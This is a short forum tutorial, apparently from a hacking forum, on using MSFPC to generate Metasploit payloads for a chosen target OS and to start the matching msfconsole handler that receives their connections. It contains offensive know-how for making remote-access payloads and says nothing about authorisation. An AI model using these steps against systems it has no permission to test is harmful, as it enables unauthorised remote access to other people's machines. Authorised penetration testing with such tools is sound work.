Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

[TUT] Create a simple payload.

In this tutorial I am going to show you how you can easily create Payloads.
Let's get started.

Part 1: Install MSFPC

First of all, I would recommend using Kali Linux or Parrot OS as OS, but you can use what you want.
To get started you will need a program called MSFPC, and if you are running Kali Linux or Parrot it is included in the repo's.
Just write

Code
sudo apt install msfpc

If you are using generic Linux it is not that easy. I won't cover it here because I think most of you will use Kali. Anyways you can find the instructions on the GitHub Site.

Code
github(dot)com/g0tmi1k/mpc

Part 2:
Use MSFPC
Once you installed MSFPC, you can't really do anything wrong.

The Basic syntax of creating a payload is:
Code
msfpc.sh <TARGET OS>

You see it is not that hard. Once you typed in the command you will have to select your Network Interface, just choose your interface (or type in your IP-Address) and press Enter.
Congratulations, you created a payload!

The payload is nice, but you can't get a connection without a handler. But don't worry MSFPC even covers the handler. When you created the payload MSFPC gave you a path to a ".rc" file, which is our handler.

You can just fire the handler up by typing:

Code
sudo msfconsole -q -r '/path/to/handler/handler-name.rc'
Nice tutorial, but you should have posted a bit more info about MSFPC.
What is it? What is it used for, etc....


Possibly Related Threads...
Thread / Author Replies Views Last Post
by Elite_xApr 13, 2025 04:44 PM 4 571 Apr 13, 2025 04:44 PM
Last Post: SS2580G
by houssemdz31Nov 22, 2021 06:39 PM 1 185 Nov 22, 2021 06:39 PM
Last Post: spacedxty
by houssemdz31Nov 9, 2021 02:03 AM 2 211 Nov 9, 2021 02:03 AM
Last Post: Amr Abo hassab